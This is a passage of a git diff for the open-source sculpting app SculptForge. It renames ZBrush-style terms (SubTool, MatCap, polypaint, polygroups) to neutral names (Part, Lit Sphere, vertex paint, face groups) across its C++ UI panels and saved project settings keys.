+ if (doc_.parts[size_t(i)].visible) triangles += doc_.partMesh(i).triangleCount();
perf_.movingNow = moving;
perf_.sceneTriangles = triangles;
perf_.proxyNow = uiPrefs_.fastNavigation && moving && triangles >= fastNavigationTriangles(hardwareProfileGoverns());
@@ -170,9 +170,9 @@ void App::notePerformanceFrame(double syncMs) {
perf_.strokeSyncMs += syncMs;
++perf_.strokeFrames;
}
- // A SubTool too big for the GPU's memory isn't drawn: say so once.
+ // A Part too big for the GPU's memory isn't drawn: say so once.
bool oom = false;
- for (const SubTool& s : doc_.subtools) oom = oom || (s.visible && renderer_.outOfMemory(s.id));
+ for (const Part& s : doc_.parts) oom = oom || (s.visible && renderer_.outOfMemory(s.id));
if (oom && !perf_.gpuOutOfMemory)
status_ = "Not enough GPU memory to show every Part: hide some, or step down a subdivision level "
"(Preferences > Performance)";
diff --git a/src/app/PanelPhone.cpp b/src/app/PanelPhone.cpp
index 00cfe754..856c255a 100644
--- a/src/app/PanelPhone.cpp
+++ b/src/app/PanelPhone.cpp
@@ -195,9 +195,9 @@ void App::handlePhoneCapture(const link::PhoneEvent& e) {
status_ = "Splat received (" + where + "): .spz isn't supported yet; export .ply from the scanning app";
return;
}
- // Splats load next to the sculpt; a mesh .ply becomes a new SubTool (never replacing the work).
+ // Splats load next to the sculpt; a mesh .ply becomes a new Part (never replacing the work).
if (ext == ".splat" || plyHasSplats(file)) runCommand("open", {{"path", file}});
- else runCommand("subtool_append", {{"path", file}});
+ else runCommand("part_append", {{"path", file}});
if (lastCommandOk_) camera_.frame(sceneBounds());
return;
}
@@ -210,8 +210,8 @@ void App::startPhoneArExport() {
// Snapshot on this thread (the worker must not see the document change under it).
std::vector<Mesh> parts;
if (phoneArScene_) {
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].visible) parts.push_back(doc_.subtoolMesh(i));
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].visible) parts.push_back(doc_.partMesh(i));
if (parts.empty()) parts.push_back(doc_.mesh);
} else {
parts.push_back(doc_.mesh);
@@ -279,8 +279,8 @@ void App::pollPhone() {
if (job.ok) phone_->publishArModel(std::move(job.result.glb), std::move(job.result.usdz), job.result.summary);
else phone_->setArError(job.error);
}
- const uint64_t signature = doc_.undo.revision() * 1000003ull + uint64_t(doc_.activeSubtool) * 7919ull +
- uint64_t(doc_.subtoolCount()) + (doc_.modified ? 1ull << 62 : 0ull) + 1;
+ const uint64_t signature = doc_.undo.revision() * 1000003ull + uint64_t(doc_.activePart) * 7919ull +
+ uint64_t(doc_.partCount()) + (doc_.modified ? 1ull << 62 : 0ull) + 1;
const double viewed = phone_->secondsSinceArViewed();
if (phoneArRequested_ && phoneLiveAr_ && !phoneBusy() && !doc_.sculptor.strokeActive() && viewed >= 0 &&
viewed < 600 && ImGui::GetTime() - phoneArStartedAt_ > 2.5) {
diff --git a/src/app/PanelProject.cpp b/src/app/PanelProject.cpp
index 02be8fb8..cb3b57d6 100644
--- a/src/app/PanelProject.cpp
+++ b/src/app/PanelProject.cpp
@@ -9,13 +9,14 @@
#include "app/Support.h"
#include "app/LookSchemes.h"
#include "app/CrashLog.h"
+#include "core/LegacyNames.h"
#include "core/SplatCapture.h"
#include "app/Ui.h"
#include "app/I18n.h"
#include "ai/Http.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Project.h"
#include <imgui.h>
@@ -64,11 +65,11 @@ void readBool(const Json& j, const char* key, bool& v) { v = j[key].asBool(v); }
// Save As dialog: a cancelled dialog is reported as an empty path so a pending
// "save, then quit/open/new" is dropped instead of firing on a later save.
-// "matcaps/<name>.png" with the characters project attachment names allow.
-std::string matcapAttachmentName(const std::string& name) {
+// "lit spheres/<name>.png" with the characters project attachment names allow.
+std::string litsphereAttachmentName(const std::string& name) {
std::string safe;
for (unsigned char c : name) safe += std::isalnum(c) || c == ' ' || c == '_' || c == '-' || c >= 0x80 ? char(c) : '_';
- return "matcaps/" + (safe.empty() ? std::string("LitSphere") : safe) + ".png";
+ return "litspheres/" + (safe.empty() ? std::string("LitSphere") : safe) + ".png";
}
void SDLCALL onProjectChosen(void* userdata, const char* const* files, int) {
@@ -94,13 +95,13 @@ void App::initProject() {
const bool hadPrefs = f && Json::parse(std::string(std::istreambuf_iterator<char>(f), {}), prefs, err);
if (hadPrefs) {
// An install from before SculptForge-style keys were the default, that never stored its key style: it had
- // the ZBrush-style keys, and keeps them (initActions applies the style).
+ // the Classic sculpting keys, and keeps them (initActions applies the style).
if (prefs["input_style"].isNumber()) startInputStyle_ = std::clamp(int(prefs["input_style"].asNumber(1)), 0, 3);
if (!uiPrefs_.inputStyleSaved && !uiConfigDeterministic_) uiPrefs_.inputStyle = startInputStyle_ >= 0 ? startInputStyle_ : 0;
for (const auto& p : prefs["recent_files"].items())
if (p.isString()) recentFiles_.push_back(p.asString());
autosaveMinutes_ = std::clamp(int(prefs["autosave_minutes"].asNumber(autosaveMinutes_)), 0, 120);
- // Updated since the last start (a new install has no prefs yet and gets the LightBox instead).
+ // Updated since the last start (a new install has no prefs yet and gets the Library instead).
const std::string lastSeen = prefs["last_seen_version"].isString() ? prefs["last_seen_version"].asString() : "";
showWhatsNew_ = lastSeen != SCULPTFORGE_VERSION;
checkUpdates_ = prefs["check_updates"].asBool(checkUpdates_);
@@ -116,7 +117,7 @@ void App::initProject() {
supportCardPrefs_.laterAt = int64_t(prefs["support_card_later_at"].asNumber(0));
if (prefs["support_card_version"].isString()) supportCardPrefs_.shownVersion = prefs["support_card_version"].asString();
// The look (0.10.7): what the last session used, unless ui.json names one. An install from before 0.10.7
- // remembers neither and keeps the Classic look with the ZBrush-style layout; the new-look card offers the
+ // remembers neither and keeps the Classic look with the Classic layout; the new-look card offers the
// new default once (PanelSupport.cpp).
newLookCardDone_ = prefs["new_look_card_done"].asBool(false);
quickTourDone_ = prefs["quick_tour_done"].asBool(false);
@@ -289,10 +290,10 @@ void App::storeProjectSettings() {
Json render = Json::object();
render.set("wireframe", renderSettings_.wireframe);
render.set("base_color", vec3Json(renderSettings_.baseColor));
- render.set("show_polypaint", renderSettings_.showPolypaint);
+ render.set("show_vertexpaint", renderSettings_.showVertexPaint);
render.set("color_tints_material", renderSettings_.colorTintsMaterial);
render.set("show_mask", renderSettings_.showMask);
- render.set("show_polygroups", renderSettings_.showPolygroups);
+ render.set("show_facegroups", renderSettings_.showFaceGroups);
render.set("show_mesh", renderSettings_.showMesh);
render.set("show_splats", renderSettings_.showSplats);
render.set("splat_opacity", double(renderSettings_.splatOpacity));
@@ -308,7 +309,7 @@ void App::storeProjectSettings() {
light.set("ambient", double(renderSettings_.lightAmbient));
render.set("light", light);
}
- render.set("matcap", renderSettings_.matcap < 0 ? std::string() : std::string(matcapName(renderSettings_.matcap)));
+ render.set("litsphere", renderSettings_.litsphere < 0 ? std::string() : std::string(litsphereName(renderSettings_.litsphere)));
// Viewport shading (Material > Viewport Shading): Lit Sphere or PBR with its environment.
{
const RenderSettings& v = renderSettings_;
@@ -325,13 +326,13 @@ void App::storeProjectSettings() {
pbr.set("cavity", double(v.pbrCavity));
render.set("viewport", std::move(pbr));
}
- // A custom MatCap travels inside the project (a PNG attachment), so the project opens with it on any machine.
+ // A custom Lit Sphere travels inside the project (a PNG attachment), so the project opens with it on any machine.
for (auto it = doc_.projectFiles.begin(); it != doc_.projectFiles.end();)
- it = it->first.rfind("matcaps/", 0) == 0 ? doc_.projectFiles.erase(it) : std::next(it);
- if (std::vector<uint8_t> png; isCustomMatcap(renderSettings_.matcap) && encodeMatcapPng(renderSettings_.matcap, png)) {
- const std::string file = matcapAttachmentName(matcapName(renderSettings_.matcap));
+ it = it->first.rfind("litspheres/", 0) == 0 ? doc_.projectFiles.erase(it) : std::next(it);
+ if (std::vector<uint8_t> png; isCustomLitSphere(renderSettings_.litsphere) && encodeLitSpherePng(renderSettings_.litsphere, png)) {
+ const std::string file = litsphereAttachmentName(litsphereName(renderSettings_.litsphere));
doc_.projectFiles[file] = std::move(png);
- render.set("matcap_file", file);
+ render.set("litsphere_file", file);
}
s.set("render", std::move(render));
@@ -374,7 +375,7 @@ void App::storeProjectSettings() {
gizmo.set("axis_x", vec3Json(gizmo_.frame[0]));
gizmo.set("axis_y", vec3Json(gizmo_.frame[1]));
gizmo.set("use_mask", gizmo_.useMask);
- gizmo.set("all_subtools", gizmo_.all);
+ gizmo.set("all_parts", gizmo_.all);
gizmo.set("falloff", double(gizmo_.falloff));
s.set("gizmo", std::move(gizmo));
}
@@ -396,10 +397,10 @@ void App::applyProjectSettings() {
if (const Json& r = s["render"]; r.isObject()) {
readBool(r, "wireframe", renderSettings_.wireframe);
readVec3(r["base_color"], renderSettings_.baseColor);
- readBool(r, "show_polypaint", renderSettings_.showPolypaint);
+ readBool(r, "show_vertexpaint", renderSettings_.showVertexPaint);
readBool(r, "color_tints_material", renderSettings_.colorTintsMaterial);
readBool(r, "show_mask", renderSettings_.showMask);
- readBool(r, "show_polygroups", renderSettings_.showPolygroups);
+ readBool(r, "show_facegroups", renderSettings_.showFaceGroups);
readBool(r, "show_mesh", renderSettings_.showMesh);
readBool(r, "show_splats", renderSettings_.showSplats);
readFloat(r, "splat_opacity", renderSettings_.splatOpacity);
@@ -448,25 +449,25 @@ void App::applyProjectSettings() {
renderSettings_.backgroundColor = uiPrefs_.backgroundColor;
readVec3(r["background_color"], renderSettings_.backgroundColor);
renderSettings_.backgroundColor = glm::clamp(renderSettings_.backgroundColor, 0.0f, 1.0f);
- // Unknown, empty or missing (projects from before MatCaps): studio lighting, as they were saved.
- renderSettings_.matcap = -1;
- const std::string name = r["matcap"].isString() ? r["matcap"].asString() : std::string();
- for (int i = 0; i < matcapCount(); ++i)
- if (!name.empty() && name == matcapName(i)) renderSettings_.matcap = i;
- // A custom MatCap the project carries: the one with the same pixels if this machine has it, else added for
- // the session (renamed when a different MatCap here already has its name).
- const auto file = r["matcap_file"].isString() ? doc_.projectFiles.find(r["matcap_file"].asString())
+ // Unknown, empty or missing (projects from before Lit Spheres): studio lighting, as they were saved.
+ renderSettings_.litsphere = -1;
+ const std::string name = r["litsphere"].isString() ? r["litsphere"].asString() : std::string();
+ for (int i = 0; i < litsphereCount(); ++i)
+ if (!name.empty() && name == litsphereName(i)) renderSettings_.litsphere = i;
+ // A custom Lit Sphere the project carries: the one with the same pixels if this machine has it, else added for
+ // the session (renamed when a different Lit Sphere here already has its name).
+ const auto file = r["litsphere_file"].isString() ? doc_.projectFiles.find(legacy::modernize(r["litsphere_file"].asString()))
: doc_.projectFiles.end();
- CustomMatcap m;
+ CustomLitSphere m;
std::string err;
- if (file != doc_.projectFiles.end() && decodeMatcapImage(file->second.data(), file->second.size(), m, err)) {
- int index = findMatcapByHash(m.hash);
+ if (file != doc_.projectFiles.end() && decodeLitSphereImage(file->second.data(), file->second.size(), m, err)) {
+ int index = findLitSphereByHash(m.hash);
if (index < 0) {
m.name = name.empty() ? std::string("Lit Sphere") : name;
- for (int n = 2; findMatcap(m.name) >= 0; ++n) m.name = name + " " + std::to_string(n);
- index = addCustomMatcap(std::move(m));
+ for (int n = 2; findLitSphere(m.name) >= 0; ++n) m.name = name + " " + std::to_string(n);
+ index = addCustomLitSphere(std::move(m));
}
- renderSettings_.matcap = index;
+ renderSettings_.litsphere = index;
}
}
if (const Json& b = s["brush"]; b.isObject()) {
@@ -530,7 +531,7 @@ void App::applyProjectSettings() {
gizmo_.frame = glm::mat3(x, glm::cross(z, x), z);
}
readBool(g, "use_mask", gizmo_.useMask);
- readBool(g, "all_subtools", gizmo_.all);
+ readBool(g, "all_parts", gizmo_.all);
readFloat(g, "falloff", gizmo_.falloff);
gizmo_.falloff = std::clamp(gizmo_.falloff, 0.0f, 1.0f);
if (!gizmo_.pivotPlaced) updateGizmoPivot();
diff --git a/src/app/PanelRetopo.cpp b/src/app/PanelRetopo.cpp
index b60d1c48..f1b58017 100644
--- a/src/app/PanelRetopo.cpp
+++ b/src/app/PanelRetopo.cpp
@@ -1,11 +1,11 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Geometry > QRemesh and SubTool > Project: ZBrush's ZRemesher and ProjectAll. QRemesh (core/QRemesh.h) runs
-// on a worker thread with a progress bar and Cancel, then replaces the SubTool as one undo step (optionally
-// keeping the original as a hidden SubTool below it). ProjectAll (core/Projection.h) is quick, so it runs
-// as the project_all command. The console shows both as script lines. The QRemesh Guides brush (ZBrush's
-// ZRemesher Guides, core/QRemeshGuides.h) draws the curves QRemesh follows.
+// Geometry > QRemesh and Part > Project: the classic QRemesh and ProjectAll. QRemesh (core/QRemesh.h) runs
+// on a worker thread with a progress bar and Cancel, then replaces the Part as one undo step (optionally
+// keeping the original as a hidden Part below it). ProjectAll (core/Projection.h) is quick, so it runs
+// as the project_all command. The console shows both as script lines. The QRemesh Guides brush (the classic
+// QRemesh Guides, core/QRemeshGuides.h) draws the curves QRemesh follows.
#include "app/App.h"
#include "app/Demo.h"
#include "app/Palettes.h"
@@ -85,14 +85,14 @@ void App::registerRetopoUiActions() {
add("geometry.qremesh_guides_clear", "Clear", kQRemeshPath, [this] { runCommand("qremesh_guides_clear"); },
[this] { return !doc_.qremeshGuides.empty(); }, "Delete every Quad Remesh guide curve of this Part.",
"qremesh_guides_clear");
- add("subtool.project_all", "Project All", kProjectPath, [this] {
+ add("part.project_all", "Project All", kProjectPath, [this] {
runCommand("project_all", {{"distance", double(retopo_.projectDist)}, {"mean", retopo_.projectMean},
{"blur", double(retopo_.projectBlur)}, {"geometry", retopo_.projectGeometry},
- {"polypaint", retopo_.projectPolypaint}});
+ {"vertexpaint", retopo_.projectVertexPaint}});
},
[this] {
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (i != doc_.activeSubtool && doc_.subtools[size_t(i)].visible) return true;
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (i != doc_.activePart && doc_.parts[size_t(i)].visible) return true;
return false;
},
"Project the shape and vertex paint of every other visible Part onto this one: each vertex moves along its "
@@ -130,7 +130,7 @@ void App::startQRemesh() {
o.adaptive = retopo_.adaptive;
o.keepGroups = retopo_.keepGroups;
o.detectEdges = retopo_.detectEdges;
- o.usePolypaint = retopo_.usePolypaint;
+ o.useVertexPaint = retopo_.useVertexPaint;
o.symmetryAxis = retopo_.symmetry ? symmetryAxis(symmetry_) : -1;
o.guides = doc_.qremeshGuides;
o.guideStrength = std::clamp(curvesStrength_, 0.0f, 100.0f) / 100.0f;
@@ -141,14 +141,14 @@ void App::startQRemesh() {
job->result = std::make_shared<Mesh>();
job->stats = std::make_shared<QRemeshStats>();
job->error = std::make_shared<std::string>();
- job->subtool = doc_.activeSubtoolInfo().id;
+ job->part = doc_.activePartInfo().id;
job->triangles = doc_.mesh.triangleCount();
job->keepOriginal = retopo_.keepOriginal;
job->args = {{"target", double(o.targetQuads)}, {"adaptive", double(o.adaptive)}};
if (o.method == QRemeshMethod::Legacy) job->args["method"] = std::string("legacy");
if (o.keepGroups) job->args["keep_groups"] = true;
if (!o.detectEdges) job->args["detect_edges"] = false;
- if (o.usePolypaint) job->args["use_polypaint"] = true;
+ if (o.useVertexPaint) job->args["use_vertexpaint"] = true;
if (o.symmetryAxis >= 0) job->args["symmetry"] = std::string(1, char('x' + o.symmetryAxis));
if (job->keepOriginal) job->args["keep_original"] = true;
if (!keep.empty()) job->args["keep_masked"] = true;
@@ -204,7 +204,7 @@ void App::startVoxelRemesh() {
job->result = std::make_shared<Mesh>();
job->error = std::make_shared<std::string>();
job->note = std::make_shared<std::string>();
- job->subtool = doc_.activeSubtoolInfo().id;
+ job->part = doc_.activePartInfo().id;
job->triangles = doc_.mesh.triangleCount();
job->resolution = std::clamp(voxelResolution_, 32, 512);
bool allMasked = false;
@@ -264,9 +264,9 @@ void App::pollVoxelRemesh() {
return;
}
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == job->subtool) index = i;
- if (index < 0 || doc_.subtoolMesh(index).triangleCount() != job->triangles) {
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == job->part) index = i;
+ if (index < 0 || doc_.partMesh(index).triangleCount() != job->triangles) {
status_ = "Voxel Remesh skipped: the Part changed while it was being remeshed";
return;
}
@@ -299,11 +299,11 @@ void App::pollQRemesh() {
status_ = *job->error;
return;
}
- // The SubTool may be inactive now, or changed topology meanwhile.
+ // The Part may be inactive now, or changed topology meanwhile.
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == job->subtool) index = i;
- if (index < 0 || doc_.subtoolMesh(index).triangleCount() != job->triangles) {
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == job->part) index = i;
+ if (index < 0 || doc_.partMesh(index).triangleCount() != job->triangles) {
status_ = "Quad Remesh skipped: the Part changed while it was being remeshed";
return;
}
@@ -311,7 +311,7 @@ void App::pollQRemesh() {
lastQRemeshStats_ = *job->stats;
haveQRemeshStats_ = true;
CommandResult r{true, applyQRemesh(doc_, std::move(*job->result), job->keepOriginal, *job->stats) + *job->textureNote};
- lastQRemeshSubtool_ = doc_.activeSubtoolInfo().id;
+ lastQRemeshPart_ = doc_.activePartInfo().id;
if (const std::string notice = doc_.takeNotice(); !notice.empty()) r.message += ". " + notice; // levels dropped
status_ = r.message;
lastCommandOk_ = true;
@@ -388,7 +388,7 @@ void App::drawQRemeshContents() {
ImGui::Checkbox(tr("Detect Edges"), &retopo_.detectEdges);
ui::HelpText("Detect Edges", nullptr, "Hard edges get an edge loop, so they stay sharp (Quad Remesh 2: faces meeting at more than about 60 degrees along a line at least a few quads long; legacy: more than 50 degrees).",
kQRemeshPath);
- ImGui::Checkbox(tr("Use Vertex Paint"), &retopo_.usePolypaint);
+ ImGui::Checkbox(tr("Use Vertex Paint"), &retopo_.useVertexPaint);
ui::HelpText("Use Vertex Paint", nullptr,
"Paint where you want density: red areas get up to 4 times the quads, blue areas down to a quarter, "
"white is unchanged.",
@@ -411,14 +411,14 @@ void App::drawQRemeshContents() {
ImGui::SetCursorPosX(x0 + half + style.ItemSpacing.x); // the right column, inside the section indent
ImGui::Checkbox(tr("Keep Masked##qremesh"), &retopo_.keepMasked);
ui::HelpText("Keep Masked", nullptr, kKeepMaskedHelp, kQRemeshPath);
- if (hasTexture(doc_.mesh)) // only matters for a painted SubTool
+ if (hasTexture(doc_.mesh)) // only matters for a painted Part
drawKeepTextureCheckbox("Keep Texture##qremesh", kQRemeshPath);
drawQRemeshGuideControls();
drawQRemeshReport();
}
void App::drawQRemeshReport() {
- if (!haveQRemeshStats_ || lastQRemeshSubtool_ != doc_.activeSubtoolInfo().id) return;
+ if (!haveQRemeshStats_ || lastQRemeshPart_ != doc_.activePartInfo().id) return;
const QRemeshStats& st = lastQRemeshStats_;
const QuadQuality& q = st.quality;
if (q.quads == 0) return;
@@ -481,7 +481,7 @@ void App::setGuidesMode(bool on) {
}
void App::syncGuidesMode() {
- // Picking a brush (picker, shelf, keys, LightBox), Paint or the Gizmo leaves the guides brush.
+ // Picking a brush (picker, shelf, keys, Library), Paint or the Gizmo leaves the guides brush.
if (guidesMode_ && drag_ != Drag::Guide &&
(brush_ != guidesFrom_.brush || doc_.activeBrush != guidesFrom_.recipe || paintMode_ != guidesFrom_.paint ||
gizmoActive()))
@@ -563,7 +563,7 @@ void App::guideRelease() {
void App::drawQRemeshGuides() {
syncGuidesMode();
const std::vector<QRemeshGuide>& guides = doc_.qremeshGuides;
- if ((guides.empty() && guidePath_.empty()) || !doc_.activeSubtoolInfo().visible) return;
+ if ((guides.empty() && guidePath_.empty()) || !doc_.activePartInfo().visible) return;
ImDrawList* dl = ImGui::GetBackgroundDrawList(); // under the panels, over the model
const CanvasRect cr = canvasRect();
dl->PushClipRect(ImVec2(cr.x, cr.y), ImVec2(cr.x + cr.w, cr.y + cr.h), true);
@@ -580,7 +580,7 @@ void App::drawQRemeshGuides() {
};
mix(&vp, sizeof vp);
mix(&cr, sizeof cr);
- const uint64_t rev = doc_.undo.revision(), sub = doc_.activeSubtoolInfo().id;
+ const uint64_t rev = doc_.undo.revision(), sub = doc_.activePartInfo().id;
mix(&rev, sizeof rev);
mix(&sub, sizeof sub);
size_t points = 0;
@@ -672,7 +672,7 @@ void App::drawProjectContents() {
const float x0 = ImGui::GetCursorPosX(); // line start, inside the section indent
tray::GroupLabel(*this, "Project");
const float half = (ImGui::GetContentRegionAvail().x - style.ItemSpacing.x) * 0.5f;
- ui::ActionButton(*this, "subtool.project_all", ImVec2(half, 0));
+ ui::ActionButton(*this, "part.project_all", ImVec2(half, 0));
ImGui::SameLine();
ImGui::SetNextItemWidth(-1);
ui::SliderInside("##pdist", &retopo_.projectDist, 0.001f, 0.2f, "Dist %.3f", ImGuiSliderFlags_Logarithmic);
@@ -693,7 +693,7 @@ void App::drawProjectContents() {
ui::HelpText("Geometry", nullptr, "Project the shape (into the active sculpt layer).", kProjectPath);
ImGui::SameLine();
ImGui::SetCursorPosX(x0 + half + style.ItemSpacing.x); // the right column, inside the section indent
- ImGui::Checkbox(tr("Vertex Paint"), &retopo_.projectPolypaint);
+ ImGui::Checkbox(tr("Vertex Paint"), &retopo_.projectVertexPaint);
ui::HelpText("Vertex Paint", nullptr, "Project the vertex paint (into the active paint layer) when a source has any.",
kProjectPath);
}
diff --git a/src/app/PanelSculptable.cpp b/src/app/PanelSculptable.cpp
index 05be0fa8..49713182 100644
--- a/src/app/PanelSculptable.cpp
+++ b/src/app/PanelSculptable.cpp
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Splats > Make sculptable (core/Sculptable.h): one click from a Gaussian-splat capture to a clean, sculptable
-// SubTool with the capture's colours. The options (Detail, polygon preset, Face loops, colour, crop box) sit in
+// Part with the capture's colours. The options (Detail, polygon preset, Face loops, colour, crop box) sit in
// the Splats palette; the work runs on a worker thread with a progress bar and Cancel.
//
// With Review on, it stops after the scan: the face landmarks show as dots on the model with the guide loops
@@ -64,7 +64,7 @@ struct SculptableUiState {
int preset = 0; // kPresets
bool faceLoops = true;
bool review = false;
- int color = 0; // 0 polypaint, 1 texture
+ int color = 0; // 0 vertex paint, 1 texture
bool keepScan = true;
bool crop = false;
AABB box;
@@ -87,7 +87,7 @@ struct SculptableUiState {
};
std::unique_ptr<Job> job;
- // Review: the scan SubTool, its landmarks and the frame they were found in.
+ // Review: the scan Part, its landmarks and the frame they were found in.
bool reviewing = false;
uint32_t scanId = 0;
FaceLandmarks landmarks;
@@ -203,16 +203,16 @@ void App::startSculptable(int stage) {
job->result = std::make_shared<SculptableResult>();
job->error = std::make_shared<std::string>();
if (stage == 2) {
- // Remesh the scan SubTool under review (its guides as they are now).
+ // Remesh the scan Part under review (its guides as they are now).
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == s.scanId) index = i;
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == s.scanId) index = i;
if (index < 0) {
status_ = "The scan Part is gone; Make sculptable again";
s.reviewing = false;
return;
}
- if (index != doc_.activeSubtool) doc_.selectSubtool(index);
+ if (index != doc_.activePart) doc_.selectPart(index);
job->result->scan = doc_.mesh;
job->result->guides = doc_.qremeshGuides;
job->result->landmarks = s.landmarks;
@@ -277,16 +277,16 @@ void App::pollSculptable() {
s.landmarks = res.landmarks;
r.message = applySculptableScan(doc_, res);
s.reviewing = true;
- s.scanId = doc_.activeSubtoolInfo().id;
+ s.scanId = doc_.activePartInfo().id;
if (!s.landmarks.valid && s.faceLoops) {
s.placing = 0;
r.message += ". Place the landmarks by hand: click " + std::string(kLandmarkPrompts[0]);
}
} else {
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == job->scanId) index = i;
- if (index < 0 || doc_.subtoolMesh(index).triangleCount() != job->scanTriangles) {
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == job->scanId) index = i;
+ if (index < 0 || doc_.partMesh(index).triangleCount() != job->scanTriangles) {
status_ = "Make sculptable skipped: the scan Part changed meanwhile";
return;
}
@@ -464,7 +464,7 @@ bool App::sculptableLandmarkScreen(int i, ImVec2& out) const {
}
bool App::sculptableReviewActive() const {
- return sculptable_ && sculptable_->reviewing && doc_.activeSubtoolInfo().id == sculptable_->scanId;
+ return sculptable_ && sculptable_->reviewing && doc_.activePartInfo().id == sculptable_->scanId;
}
bool App::sculptableHot() const {
diff --git a/src/app/PanelSelectionSets.cpp b/src/app/PanelSelectionSets.cpp
index 4da92739..74b01262 100644
--- a/src/app/PanelSelectionSets.cpp
+++ b/src/app/PanelSelectionSets.cpp
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Tool > Selection Sets: store, restore, rename, delete and combine named snapshots of the active Part's mask,
-// polygroups, vertex paint, visibility, UVs and shape; pick one as the Morph brush's target or morph toward it.
+// face groups, vertex paint, visibility, UVs and shape; pick one as the Morph brush's target or morph toward it.
// Every button runs a selection_set_* command (core/SelectionSets.h), so each is one undo step.
#include "app/App.h"
@@ -27,7 +27,7 @@ struct ChannelToggle {
};
constexpr ChannelToggle kToggles[] = {
{kSetMask, "Mask##setch", "mask", "The mask (masked and partly masked vertices)."},
- {kSetPolygroups, "Groups##setch", "polygroups", "The face groups."},
+ {kSetFaceGroups, "Groups##setch", "facegroups", "The face groups."},
{kSetVisibility, "Visibility##setch", "visibility", "Which faces are shown and which are hidden."},
{kSetPaint, "Vertex Paint##setch", "paint", "The vertex paint colours."},
{kSetUvs, "UVs##setch", "uvs", "The UV layout (only when the Part has UVs)."},
diff --git a/src/app/PanelSupport.cpp b/src/app/PanelSupport.cpp
index ff1e8089..2508be8e 100644
--- a/src/app/PanelSupport.cpp
+++ b/src/app/PanelSupport.cpp
@@ -94,7 +94,7 @@ void App::chooseNewLook(bool tryIt) {
}
// The first-run look picker (the welcome): Neutral (the default), Forge Terminal with Tokyo Night (0.10.7's
-// default), or the Classic look with the ZBrush-style layout. A click applies it at once and remembers it.
+// default), or the Classic look with the Classic layout. A click applies it at once and remembers it.
void App::drawLookPicker() {
struct Choice {
const char* label;
@@ -109,7 +109,7 @@ void App::drawLookPicker() {
"Neutral grey panels, so your model's colours read true, with one orange accent. The SculptForge layout."},
{"##welcome.look.forge", "Forge Terminal", int(looks::LookId::ForgeTerminal), "tokyo_night", 1,
"Terminal-style tiles in the Tokyo Night colours (blue-grey). Preferences > Interface > Look has more schemes."},
- {"##welcome.look.zbrush", "Classic layout", int(looks::LookId::Classic), "neutral", 0,
+ {"##welcome.look.classic", "Classic layout", int(looks::LookId::Classic), "neutral", 0,
"The Classic grey look with the alphabetical palette bar and the two-row top shelf, for experienced sculptors."},
};
const float s = uiScale_, spacing = ImGui::GetStyle().ItemSpacing.x;
diff --git a/src/app/PanelTexture.cpp b/src/app/PanelTexture.cpp
index a667b336..eec0a331 100644
--- a/src/app/PanelTexture.cpp
+++ b/src/app/PanelTexture.cpp
@@ -2,16 +2,16 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Texture Map sub-palette (Tool palette): texture painting on UVs (core/Texture.h). Auto UV unwraps the
-// SubTool on a worker thread (core/AutoUv.h, xatlas); New gives it a 1K-8K texture, after which the Paint
+// Part on a worker thread (core/AutoUv.h, xatlas); New gives it a 1K-8K texture, after which the Paint
// brush, Rgb sculpting, fills and the Paint Layers palette work on the texture (the Vertex / Texture toggle
-// switches back). Polypaint <-> Texture convert, Import / Export load and save PNGs, Show UVs draws the
+// switches back). Vertex paint <-> Texture convert, Import / Export load and save PNGs, Show UVs draws the
// texture with the UV layout over it. Everything but Auto UV and the file dialogs goes through commands,
// so it is undoable and scriptable.
#include "app/App.h"
#include "app/Demo.h"
#include "app/Ui.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/TextureTransfer.h"
#include <IconsLucide.h>
@@ -115,7 +115,7 @@ void App::registerTextureUiActions() {
[this] { return paintsTexture(doc_.mesh); }, textured,
"Paint into the Part's texture: the colour resolution comes from the texture, not the mesh. The Paint "
"brush, Rgb sculpting, fills and Paint Layers all work on it.");
- // Shown on the top shelf and in the Color palette while painting a SubTool that has no texture yet.
+ // Shown on the top shelf and in the Color palette while painting a Part that has no texture yet.
add("draw.new_texture", "New Texture", "Draw", [this] { startNewTexture(); }, nullptr,
[this] { return !autoUv_ && doc_.mesh.triangleCount() > 0; },
"Start texture painting: give the Part a texture (the size chosen in Tool > Texture Map, 2K by default) "
@@ -138,14 +138,14 @@ void App::registerTextureUiActions() {
"texture_create");
add("texture.show_uvs", "Show UVs", kPath, [this] { showUvView_ = !showUvView_; }, [this] { return showUvView_; },
[this] { return doc_.mesh.hasUvs(); }, "Show the texture with the UV layout drawn over it, below these buttons.");
- add("texture.from_polypaint", "Vertex Paint > Texture", kPath, [this] { runCommand("texture_from_polypaint"); }, nullptr,
+ add("texture.from_vertexpaint", "Vertex Paint > Texture", kPath, [this] { runCommand("texture_from_vertexpaint"); }, nullptr,
[this] { return doc_.mesh.hasUvs() && doc_.mesh.hasColors(); },
"Bake the vertex paint (all paint layers) into the active texture layer. Makes a 2K texture if there is none.",
- "texture_from_polypaint");
- add("texture.to_polypaint", "Texture > Vertex Paint", kPath, [this] { runCommand("polypaint_from_texture"); }, nullptr,
+ "texture_from_vertexpaint");
+ add("texture.to_vertexpaint", "Texture > Vertex Paint", kPath, [this] { runCommand("vertexpaint_from_texture"); }, nullptr,
textured,
